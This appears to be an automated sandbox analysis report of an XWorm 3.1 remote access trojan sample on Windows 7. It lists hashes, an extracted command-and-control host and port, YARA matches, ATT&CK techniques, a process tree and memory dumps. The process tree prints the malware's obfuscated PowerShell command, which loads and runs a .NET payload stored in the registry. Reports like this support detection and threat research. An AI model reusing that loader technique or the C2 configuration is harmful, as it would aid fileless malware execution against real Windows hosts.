xworm | 59b912dd8b99eb28efe1f30d84082baa5d2e09188c5f97ef1e19a043b245228c

Analysis

max time kernel
107s
max time network
17s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
03/03/2025, 17:56

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General

Target

5.exe
Size

490KB
MD5

286b980a155209c4ef664687913b8113
SHA1

ae96bfe4b71d52ab46994c496d0c07ed2f28c5f3
SHA256

59b912dd8b99eb28efe1f30d84082baa5d2e09188c5f97ef1e19a043b245228c
SHA512

cae27348d906b5d4d7266492aae148e25d66124890d63fe03bafca86c83dbd362bc26a36d357fb07f4dbffa765e25c85aff9589c582812b43c106d05845bf611
SSDEEP

12288:Ozj3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sd:QkGTy

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

again-stuff.gl.at.ply.gg:35361

Mutex

w1O93T06AbTXm6Hz

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000b000000012280-5.dat	family_xworm
behavioral1/memory/844-8-0x0000000001280000-0x000000000128E000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2860 created 432	2860	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Executes dropped EXE 4 IoCs

pid	Process
844	DeadMmxq.exe
1652	DeadMmxq.exe
908	DeadR.exe
2496	DeadR.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2860	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2860 set thread context of 2940	2860	powershell.EXE	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadR.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 60422794658cdb01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2860	powershell.EXE
2860	powershell.EXE
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe
2940	dllhost.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	powershell.EXE
Token: SeDebugPrivilege	2860	powershell.EXE
Token: SeDebugPrivilege	2940	dllhost.exe
Token: SeDebugPrivilege	844	DeadMmxq.exe
Token: SeDebugPrivilege	1652	DeadMmxq.exe
Token: SeDebugPrivilege	1652	DeadMmxq.exe
Token: SeAuditPrivilege	856	svchost.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 800 wrote to memory of 844	800	5.exe	30
PID 800 wrote to memory of 844	800	5.exe	30
PID 800 wrote to memory of 844	800	5.exe	30
PID 800 wrote to memory of 1652	800	5.exe	31
PID 800 wrote to memory of 1652	800	5.exe	31
PID 800 wrote to memory of 1652	800	5.exe	31
PID 800 wrote to memory of 908	800	5.exe	32
PID 800 wrote to memory of 908	800	5.exe	32
PID 800 wrote to memory of 908	800	5.exe	32
PID 800 wrote to memory of 908	800	5.exe	32
PID 800 wrote to memory of 2496	800	5.exe	33
PID 800 wrote to memory of 2496	800	5.exe	33
PID 800 wrote to memory of 2496	800	5.exe	33
PID 800 wrote to memory of 2496	800	5.exe	33
PID 2864 wrote to memory of 2860	2864	taskeng.exe	35
PID 2864 wrote to memory of 2860	2864	taskeng.exe	35
PID 2864 wrote to memory of 2860	2864	taskeng.exe	35
PID 2860 wrote to memory of 2940	2860	powershell.EXE	37
PID 2860 wrote to memory of 2940	2860	powershell.EXE	37
PID 2860 wrote to memory of 2940	2860	powershell.EXE	37
PID 2860 wrote to memory of 2940	2860	powershell.EXE	37
PID 2860 wrote to memory of 2940	2860	powershell.EXE	37
PID 2860 wrote to memory of 2940	2860	powershell.EXE	37
PID 2860 wrote to memory of 2940	2860	powershell.EXE	37
PID 2860 wrote to memory of 2940	2860	powershell.EXE	37
PID 2860 wrote to memory of 2940	2860	powershell.EXE	37
PID 2940 wrote to memory of 432	2940	dllhost.exe	5
PID 2940 wrote to memory of 476	2940	dllhost.exe	6
PID 2940 wrote to memory of 492	2940	dllhost.exe	7
PID 2940 wrote to memory of 500	2940	dllhost.exe	8
PID 2940 wrote to memory of 592	2940	dllhost.exe	9
PID 2940 wrote to memory of 664	2940	dllhost.exe	10
PID 2940 wrote to memory of 756	2940	dllhost.exe	11
PID 2940 wrote to memory of 812	2940	dllhost.exe	12
PID 2940 wrote to memory of 856	2940	dllhost.exe	13
PID 2940 wrote to memory of 960	2940	dllhost.exe	15
PID 2940 wrote to memory of 276	2940	dllhost.exe	16
PID 2940 wrote to memory of 1040	2940	dllhost.exe	17
PID 2940 wrote to memory of 1048	2940	dllhost.exe	18
PID 2940 wrote to memory of 1096	2940	dllhost.exe	19
PID 2940 wrote to memory of 1124	2940	dllhost.exe	20
PID 2940 wrote to memory of 1176	2940	dllhost.exe	21
PID 2940 wrote to memory of 1216	2940	dllhost.exe	23
PID 2940 wrote to memory of 1580	2940	dllhost.exe	24
PID 2940 wrote to memory of 1796	2940	dllhost.exe	25
PID 2940 wrote to memory of 1648	2940	dllhost.exe	26
PID 2940 wrote to memory of 2520	2940	dllhost.exe	27
PID 2940 wrote to memory of 2864	2940	dllhost.exe	34

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{0c7d40de-6a0a-482b-b6d4-5113ac9c5fed}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2940

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:592
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1580
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1796
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:664
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  PID:756
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:812
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1096
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:856
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {9220587C-279D-4A88-8F19-13534A69779B} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+''+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'D'+''+[Char](101)+''+[Char](97)+''+[Char](100)+'s'+'t'+'a'+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2860
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:960
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:276
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1040
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:1048
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1124
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:1216
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1648
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2520

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1176
- C:\Users\Admin\AppData\Local\Temp\5.exe
  "C:\Users\Admin\AppData\Local\Temp\5.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:800
- - C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:844
- - C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1652
- - C:\Users\Admin\AppData\Local\Temp\DeadR.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadR.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:908
- - C:\Users\Admin\AppData\Local\Temp\DeadR.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadR.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe

Filesize
31KB

MD5
4846c3d667fad5ac518196fbbd7edfb6

SHA1
45af67cf4f1b0fecd4311c73ad37052613e27344

SHA256
02af5bf1358466c9c5189058e13a7d5860123ee2933a854ca528a8622d4bbf08

SHA512
72f79e2a05c07db71bd1b5615a701bfa63e62c83d52a283df0ed087f5fa30eb909689d08973a8187e2b50250513efd2f85b8c1dac7637434334bee717647ab13

Download Submit
C:\Users\Admin\AppData\Local\Temp\DeadR.exe

Filesize
151KB

MD5
b8479a23c22cf6fc456e197939284069

SHA1
b2d98cc291f16192a46f363d007e012d45c63300

SHA256
18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

SHA512
786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

Download Submit
memory/432-37-0x00000000002F0000-0x0000000000312000-memory.dmp

Filesize
136KB

Download
memory/432-38-0x0000000000350000-0x0000000000377000-memory.dmp

Filesize
156KB

Download
memory/432-39-0x0000000000350000-0x0000000000377000-memory.dmp

Filesize
156KB

Download
memory/432-35-0x00000000002F0000-0x0000000000312000-memory.dmp

Filesize
136KB

Download
memory/432-45-0x0000000000350000-0x0000000000377000-memory.dmp

Filesize
156KB

Download
memory/432-46-0x000007FEBE000000-0x000007FEBE010000-memory.dmp

Filesize
64KB

Download
memory/432-47-0x0000000037CE0000-0x0000000037CF0000-memory.dmp

Filesize
64KB

Download
memory/476-60-0x000007FEBE000000-0x000007FEBE010000-memory.dmp

Filesize
64KB

Download
memory/476-61-0x0000000037CE0000-0x0000000037CF0000-memory.dmp

Filesize
64KB

Download
memory/476-53-0x0000000000E00000-0x0000000000E27000-memory.dmp

Filesize
156KB

Download
memory/476-59-0x0000000000E00000-0x0000000000E27000-memory.dmp

Filesize
156KB

Download
memory/492-67-0x00000000001A0000-0x00000000001C7000-memory.dmp

Filesize
156KB

Download
memory/492-73-0x00000000001A0000-0x00000000001C7000-memory.dmp

Filesize
156KB

Download
memory/492-74-0x000007FEBE000000-0x000007FEBE010000-memory.dmp

Filesize
64KB

Download
memory/492-75-0x0000000037CE0000-0x0000000037CF0000-memory.dmp

Filesize
64KB

Download
memory/500-81-0x00000000007B0000-0x00000000007D7000-memory.dmp

Filesize
156KB

Download
memory/800-0-0x000007FEF67F3000-0x000007FEF67F4000-memory.dmp

Filesize
4KB

Download
memory/800-1-0x0000000000BE0000-0x0000000000C60000-memory.dmp

Filesize
512KB

Download
memory/844-179-0x000007FEF67F0000-0x000007FEF71DC000-memory.dmp

Filesize
9.9MB

Download
memory/844-18-0x000007FEF67F0000-0x000007FEF71DC000-memory.dmp

Filesize
9.9MB

Download
memory/844-8-0x0000000001280000-0x000000000128E000-memory.dmp

Filesize
56KB

Download
memory/2860-22-0x0000000077CA0000-0x0000000077E49000-memory.dmp

Filesize
1.7MB

Download
memory/2860-23-0x0000000077B80000-0x0000000077C9F000-memory.dmp

Filesize
1.1MB

Download
memory/2860-21-0x0000000001520000-0x0000000001548000-memory.dmp

Filesize
160KB

Download
memory/2860-20-0x0000000000980000-0x0000000000988000-memory.dmp

Filesize
32KB

Download
memory/2860-19-0x0000000019EA0000-0x000000001A182000-memory.dmp

Filesize
2.9MB

Download
memory/2940-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2940-25-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2940-26-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2940-29-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2940-32-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2940-31-0x0000000077B80000-0x0000000077C9F000-memory.dmp

Filesize
1.1MB

Download
memory/2940-30-0x0000000077CA0000-0x0000000077E49000-memory.dmp

Filesize
1.7MB

Download
memory/2940-27-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download